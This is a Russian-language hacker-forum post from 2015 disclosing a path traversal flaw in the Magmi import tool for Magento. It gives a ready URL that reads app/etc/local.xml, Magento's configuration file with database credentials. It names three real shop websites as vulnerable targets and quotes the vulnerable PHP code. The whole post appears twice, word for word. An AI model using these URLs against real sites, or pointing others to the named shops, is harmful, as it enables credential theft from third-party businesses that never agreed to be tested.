winstrool
17.02.2015, 21:44
Локальня читалка Magento:
http://localhost/magmi/web/download_file.php?file=../../app/etc/local.xml
Пример уязвимых урлов:
_http://bentextiles.com/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://mengotti-online.com/shop/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://www.lowellcraft.com/magmi/web/download_file.php?file=../../app/etc/local.xml
Уязвимый код:
PHP:
$file=$_REQUEST["file"];
$f=@fopen($file,"r");
$err=error_get_last();
if($f!==false)
{
@fclose($f);
}
if($err==null)
{
// Extract the type of file which will be s ent to the browser as a header
$type=filetype($file);
// Get a date and timestamp
$today=date("F j, Y, g:i a");
$time=time();
// Send file headers
header("Content-type:$type");
header("Content-Disposition: attachment;filename=".basename($file));
header("Content-Transfer-Encoding: binary");
header('Pragma: no-cache');
header('Expires: 0');
// Send the file contents.
set_time_limit(0);
readfile($file);
}
else
{
print_r($err);
}
P.S: В гугле по этой баге ничего не нашел.
P.S:
Обнаружил случайно в пакете с обновлением фикса баги
_http://www.exploit-db.com/exploits/35052/
сам фикс с багой, читалкой на гитхабе
https://github.com/dweeves/magmi-git Magento CE 1.8.x & 1.9.x
http://localhost/magmi/web/download_file.php?file=../../app/etc/local.xml
Пример уязвимых урлов:
_http://bentextiles.com/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://mengotti-online.com/shop/magmi/web/download_file.php?file=../../app/etc/local.xml
_http://www.lowellcraft.com/magmi/web/download_file.php?file=../../app/etc/local.xml
Уязвимый код:
PHP:
$file=$_REQUEST["file"];
$f=@fopen($file,"r");
$err=error_get_last();
if($f!==false)
{
@fclose($f);
}
if($err==null)
{
// Extract the type of file which will be s ent to the browser as a header
$type=filetype($file);
// Get a date and timestamp
$today=date("F j, Y, g:i a");
$time=time();
// Send file headers
header("Content-type:$type");
header("Content-Disposition: attachment;filename=".basename($file));
header("Content-Transfer-Encoding: binary");
header('Pragma: no-cache');
header('Expires: 0');
// Send the file contents.
set_time_limit(0);
readfile($file);
}
else
{
print_r($err);
}
P.S: В гугле по этой баге ничего не нашел.
P.S:
Обнаружил случайно в пакете с обновлением фикса баги
_http://www.exploit-db.com/exploits/35052/
сам фикс с багой, читалкой на гитхабе
https://github.com/dweeves/magmi-git Magento CE 1.8.x & 1.9.x